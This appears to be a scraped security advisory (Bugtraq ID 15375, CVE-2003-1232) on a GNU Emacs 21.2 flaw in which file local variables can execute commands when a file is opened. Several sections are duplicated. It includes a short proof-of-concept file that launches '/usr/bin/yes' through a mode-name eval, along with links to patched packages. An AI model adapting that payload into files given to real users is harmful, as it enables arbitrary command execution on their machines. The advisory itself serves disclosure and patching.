Emacs Local Variable Arbitrary Command Execution Vulnerability
BID:15375
Info
Emacs Local Variable Arbitrary Command Execution Vulnerability
| Bugtraq ID: | 15375 |
| Class: | Input Validation Error |
| CVE: |
CVE-2003-1232 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 31 2002 12:00AM |
| Updated: | Jul 12 2009 05:56PM |
| Credit: | Georgi Guninski disclosed this issue. |
| Vulnerable: |
MandrakeSoft Corporate Server 2.1 x86_64 MandrakeSoft Corporate Server 2.1 GNU Emacs 21.2 |
| Not Vulnerable: |
GNU Emacs 21.3 |
Discussion
Emacs Local Variable Arbitrary Command Execution Vulnerability
Emacs is susceptible to an arbitrary command execution vulnerability with local variables. This issue is due to insufficient sanitization of user-supplied input.
By modifying a text file to include local variables containing containing shell commands in an 'eval' statement, attackers may cause arbitrary commands to be executed.
This vulnerability allows an attacker to execute arbitrary commands with the privileges of the emacs user. This gives an attacker the ability to gain remote access to computers running the vulnerable software.
Emacs is susceptible to an arbitrary command execution vulnerability with local variables. This issue is due to insufficient sanitization of user-supplied input.
By modifying a text file to include local variables containing containing shell commands in an 'eval' statement, attackers may cause arbitrary commands to be executed.
This vulnerability allows an attacker to execute arbitrary commands with the privileges of the emacs user. This gives an attacker the ability to gain remote access to computers running the vulnerable software.
Exploit / POC
Emacs Local Variable Arbitrary Command Execution Vulnerability
An exploit is not required. Example content sufficient to execute an external process upon opening a file is provided by Georgi Guninski:
/* -*- Mode: text; tab-width:20; Eval: Mode -*- -*- forms -*- */
Emacs better than windoze.
;;; Local Variables: ***
;;; mode: text ***
;;; mode-name: #("Microsoft sux" 0 4 (display (when (eval (start-process "/usr/bin/yes" "/usr/bin/yes" "/usr/bin/yes" "msux") ) . xxx) ) ) ***
;;; comment-start: ";;; " ***
;;; comment-end:"***" ***
;;; End: ***
An exploit is not required. Example content sufficient to execute an external process upon opening a file is provided by Georgi Guninski:
/* -*- Mode: text; tab-width:20; Eval: Mode -*- -*- forms -*- */
Emacs better than windoze.
;;; Local Variables: ***
;;; mode: text ***
;;; mode-name: #("Microsoft sux" 0 4 (display (when (eval (start-process "/usr/bin/yes" "/usr/bin/yes" "/usr/bin/yes" "msux") ) . xxx) ) ) ***
;;; comment-start: ";;; " ***
;;; comment-end:"***" ***
;;; End: ***
Solution / Fix
Emacs Local Variable Arbitrary Command Execution Vulnerability
Solution:
The vendor has released version 21.3 of emacs to address this issue.
Mandriva has released advisory MDKSA-2005:208, along with fixes to address this issue. Please see the referenced advisory for further information.
GNU Emacs 21.2
Solution:
The vendor has released version 21.3 of emacs to address this issue.
Mandriva has released advisory MDKSA-2005:208, along with fixes to address this issue. Please see the referenced advisory for further information.
GNU Emacs 21.2
-
GNU emacs-21.3.tar.gz
http://ftp.gnu.org/pub/gnu/emacs/emacs-21.3.tar.gz -
Mandriva emacs-21.3-1.1.C21mdk.i586.rpm
Corporate Server 2.1:
-
Mandriva emacs-21.3-1.1.C21mdk.i586.rpm
Corporate Server 2.1:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva emacs-21.3-1.1.C21mdk.x86_64.rpm
Corporate Server 2.1/X86_64:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva emacs-el-21.3-1.1.C21mdk.i586.rpm
Corporate Server 2.1:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva emacs-el-21.3-1.1.C21mdk.x86_64.rpm
Corporate Server 2.1/X86_64:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva emacs-leim-21.3-1.1.C21mdk.i586.rpm
Corporate Server 2.1:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva emacs-leim-21.3-1.1.C21mdk.x86_64.rpm
Corporate Server 2.1/X86_64:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva emacs-nox-21.3-1.1.C21mdk.i586.rpm
Corporate Server 2.1:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva emacs-nox-21.3-1.1.C21mdk.x86_64.rpm
Corporate Server 2.1/X86_64:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva emacs-X11-21.3-1.1.C21mdk.i586.rpm
Corporate Server 2.1:
http://www1.mandrivalinux.com/en/ftp.php3 -
Mandriva emacs-X11-21.3-1.1.C21mdk.x86_64.rpm
Corporate Server 2.1/X86_64:
http://www1.mandrivalinux.com/en/ftp.php3
References
Emacs Local Variable Arbitrary Command Execution Vulnerability
References:
References:
- Debian Bug report logs - #286183 (Debian)
- Emacs Product Page (GNU)